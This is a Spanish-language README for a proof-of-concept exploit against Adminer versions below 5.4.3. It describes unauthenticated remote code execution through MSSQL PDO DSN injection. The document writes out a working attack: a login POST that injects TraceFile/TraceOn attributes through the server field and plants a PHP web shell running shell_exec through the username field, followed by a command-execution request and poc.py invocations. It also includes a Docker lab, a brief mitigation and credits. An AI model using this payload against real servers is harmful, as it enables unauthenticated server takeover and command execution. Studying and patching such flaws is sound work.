
PoC exploit para Adminer < 5.4.3 RCE no autenticado mediante inyección de DSN PDO MSSQL, incluyendo laboratorio Docker y prueba negativa.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (aviso del proveedor) / GHSA-34q8-53jm-qc2r (base de datos de GitHub) |
| Producto | Adminer (herramienta de gestión de bases de datos PHP de un solo archivo) |
| Afectado | Adminer < 5.4.3 con pdo_sqlsrv + Microsoft ODBC Driver para SQL Server |
| Corregido en | 5.4.3 |
| CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Tipo | CWE-20 → escritura arbitraria de archivos no autenticada → RCE |
Adminer no sanea el campo server proporcionado por el usuario antes de construir el
DSN de PDO para conexiones MSSQL:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Los puntos y comas en server se tratan como delimitadores de atributos de conexión ODBC, por lo que un
atacante no autenticado puede añadir atributos arbitrarios al DSN — incluidos
TraceFile y TraceOn. La función de rastreo de unixODBC escribe la cadena de conexión completa
(con UID={username} tal cual) en TraceFile antes e independientemente de que
el intento de conexión tenga éxito. Inyectar código PHP a través del campo username
y apuntar TraceFile a la raíz web produce una web shell.
Una única petición POST de inicio de sesión no autenticada es suficiente. No se necesitan credenciales válidas ni interacción del usuario.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} en /var/www/shell.phpGET /shell.php?c=id → el comando se ejecuta# solo huella
python3 poc.py --target http://target/adminer.php --check
# explotación completa (escribe <random>.php en la raíz web)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
La imagen del laboratorio replica exactamente los requisitos del aviso: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, con la raíz web escribible por el proceso PHP.
mssql, o elimine
; (y espacios en blanco) de los valores server proporcionados por el usuario en un proxy inverso.El aviso del proveedor atribuye el descubrimiento conjuntamente al informante y a Yashar Shahinzadeh (@voorivex).
PoC y laboratorio: Hamza Cagrici (@Boreas37)
| Fecha | Evento |
|---|---|
| 2026-08-25 | CVE publicado / corregido en Adminer 5.4.3 |